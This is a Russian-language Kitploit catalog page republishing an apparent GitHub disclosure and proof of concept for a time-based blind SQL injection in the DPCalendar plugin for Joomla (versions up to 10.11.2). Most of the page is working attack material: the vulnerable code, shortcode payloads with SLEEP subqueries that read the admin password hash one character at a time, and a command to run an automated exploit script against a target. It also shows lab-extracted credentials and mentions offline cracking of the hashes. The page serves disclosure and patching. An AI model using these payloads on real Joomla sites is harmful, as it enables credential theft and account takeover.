Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-78070 — SQL-инъекция через шорткод ORDER BY в plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2 | Kitploit
Инструменты/GitHubGitHub/toanln-cov/cve-2026-78070
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеБезопасность Баз Данных
GitHubtoanln-cov/cve-2026-78070

CVE-2026-78070

SQL-инъекция через шорткод ORDER BY в plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2

Репозиторий
1421 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SQL-инъекция через шорткод ORDER BY в plg_content_dpcalendar

DPCalendar Free ≤ 10.11.2 — Пользователь уровня Author извлекает всю базу данных через time-based blind-инъекцию

CVE CVSS CWE-89 Affected Fixed Researcher


КРАТКОЕ ОПИСАНИЕ

Контентный плагин plg_content_dpcalendar обрабатывает шорткоды {{#events order="..."}}{{/events}}, встраиваемые в тело статей Joomla. Значение параметра order передаётся напрямую в , полностью обходя белый список самого метода . Затем это значение вставляется в SQL-предложение , защищённое только методом — чего недостаточно для блокировки инъекции через подзапрос.

EventsModel::setState('list.ordering', ...)
populateState()
ORDER BY
DatabaseDriver::escape()

Пользователь уровня Author, имеющий право создавать или редактировать статьи, может использовать эту уязвимость для извлечения данных из базы данных через time-based blind SQL-инъекцию. SQLi срабатывает внутри самого запроса на сохранение статьи атакующего — не требуется взаимодействия жертвы, публикации статьи или участия администратора.


ЗАТРАГИВАЕМЫЕ ВЕРСИИ

КОМПОНЕНТУЯЗВИМЫЕ ВЕРСИИПРОТЕСТИРОВАНО НАИСПРАВЛЕНО
DPCalendar Free1.0.0 – 10.11.2Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27)10.12.0

Примечание: Эта уязвимость отличается от CVE-2026-57831 (неаутентифицированная SQLi в EventsModel.php через filter_created_by, исправлена в v10.11.2). Данная находка затрагивает контентный плагин (plg_content_dpcalendar) — другой файл, другой параметр, и на момент обнаружения уязвимость не была исправлена в последнем релизе.


ДЕТАЛИ УЯЗВИМОСТИ

Тип: SQL-инъекция (CWE-89) — Time-Based Blind
Требуемая аутентификация: роль Author (может создавать/редактировать статьи Joomla)
Конечная точка: POST /index.php/submit-article?view=form&layout=edit
Файл: plg_content_dpcalendar/src/Extension/DPCalendar.php

Корневая причина

Парсер шорткодов плагина перебирает все пары ключ-значение в теге {{#events}} и устанавливает состояние модели напрямую, полностью обходя проверку белого списка в populateState():

PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — УЯЗВИМАЯ ОБРАБОТКА ПАРАМЕТРОВ

root@kitploit:~
foreach ($params as $paramKey => $paramValue) {
    switch ($paramKey) {
        case 'order':
            // УЯЗВИМО: устанавливает состояние сортировки напрямую из пользовательского ввода
            // полностью обходит белый список populateState()
            $model->setState('list.ordering', $paramValue);
            break;
        case 'orderdir':
            $model->setState('list.direction', $paramValue);
            break;
        // ...
    }
}

Заражённое значение попадает в EventsModel::getListQuery() только с экранированием кавычек — этого недостаточно для блокировки инъекции через подзапрос в контексте ORDER BY:

COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ФОРМИРОВАНИЕ ORDER BY

root@kitploit:~
$orderCol  = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');

// $db->escape() экранирует только кавычки — НЕ предотвращает инъекцию через подзапрос
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

Подзапрос вида (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) проходит через $db->escape() без изменений, поскольку не содержит символов кавычек. Результирующий SQL выглядит так:

root@kitploit:~
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- 

Выражение ORDER BY вычисляется только когда результирующий набор не пуст — требуется хотя бы одно опубликованное будущее событие DPCalendar, что является стандартным условием для любой активной установки DPCalendar.

Ключевое поведение: SQLi срабатывает внутри самого POST-запроса на сохранение/редактирование — задержка по времени наблюдается непосредственно в HTTP-ответе (редирект 303). Атакующий измеряет время ответа на собственный POST-запрос; не требуется просмотр статьи, перезагрузка страницы или этап публикации.


ДОКАЗАТЕЛЬСТВО КОНЦЕПЦИИ

Предварительные условия:

  • Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
  • Учётная запись уровня Author (может создавать/редактировать статьи)
  • Плагин plg_content_dpcalendar включён (включён по умолчанию при установке DPCalendar)
  • Как минимум 1 опубликованное событие DPCalendar с будущей start_date
  • Пункт меню Submit Article на фронтенде, созданный администратором

Сценарий: Time-based Blind SQLi → Извлечение учётных данных администратора

0. Предварительное условие — должно существовать хотя бы одно опубликованное событие DPCalendar с будущей датой начала

Плагин устанавливает filter.state = 1 и list.start-date = NOW() перед формированием запроса. Подзапросы в ORDER BY выполняются только когда результирующий набор содержит строки; если совпадений 0, SLEEP() никогда не вызывается.

1. Вход под пользователем уровня Author

Выполните аутентификацию на фронтенде Joomla с использованием учётной записи Author. На любом этапе этой атаки доступ администратора не требуется.

2. Отправка статьи с payload'ом TRUE-условия — наблюдаем задержку в 5 секунд

Перейдите к форме отправки статьи на фронтенде (/submit-article). Вставьте следующий payload в тело статьи и нажмите Save:

root@kitploit:~
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}

Сам POST-ответ задерживается примерно на 5 секунд. onContentPrepare срабатывает во время конвейера сохранения Joomla, вызывая уязвимый запрос до выдачи редиректа 303. Просмотр статьи или публикация не требуются.

3. Условие FALSE подтверждает чёткое различие во времени

Замените 1=1 на 1=2 (всегда ложь). SLEEP не срабатывает, и ответ возвращается немедленно (~100 мс), что подтверждает надёжное разделение по времени.

root@kitploit:~
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

4. Извлечение хэша пароля администратора — побайтово

Используйте сравнения ASCII(SUBSTRING(...)) для чтения каждого символа. Одинарные кавычки необходимо избегать (регулярное выражение шорткода [^"\']* останавливается на любом символе кавычки); вместо этого используйте десятичные значения ASCII:

root@kitploit:~
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}

Время ответа ~5 с → TRUE → char[1] = '$' (ASCII 36 — первый символ bcrypt-хэша $2y$10$...).

5. Автоматизированное извлечение — полный дамп учётных данных администратора

Запустите exploit/exploit.py для автоматизации цикла побайтового извлечения:

root@kitploit:~
python3 exploit/exploit.py http://TARGET

Скрипт входит под учётной записью Author, отправляет сформированные payload'ы и извлекает имя пользователя, email и полный 60-символьный bcrypt-хэш пароля. Результат лабораторного теста подтверждён: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

УсловиеВремя ответа
TRUE: ASCII(SUBSTR(password,1,1))=36~5 000 мс
FALSE: ASCII(SUBSTR(password,1,1))=65~100 мс

ВОЗДЕЙСТВИЕ

  1. Полный доступ на чтение базы данных — Пользователь уровня Author может извлечь любые данные из базы данных Joomla, включая хэши паролей администратора (jos_users.password), токены сессий и email-адреса пользователей, через time-based blind SQL-инъекцию.
  2. Не требуется взаимодействие администратора — SQLi срабатывает внутри собственного запроса на сохранение статьи атакующего. Жертве не нужно просматривать или взаимодействовать с каким-либо контентом.
  3. Минимальный след для криминалистики — Вредоносная статья никогда не должна быть опубликована. Черновика статьи (state=0) достаточно, что оставляет почти невидимые следы атаки.
  4. Офлайн-взлом учётных данных — Извлечённые bcrypt-хэши можно взломать офлайн с помощью Hashcat (режим 3200) или John the Ripper, что потенциально ведёт к полному захвату учётной записи администратора.

ССЫЛКИ

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78070
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78070
  • GitHub Advisory: https://github.com/advisories/GHSA-v6xp-fwh7-w4rv
  • Репозиторий вендора: https://github.com/Digital-Peak/DPCalendar-Free
Скачать инструмент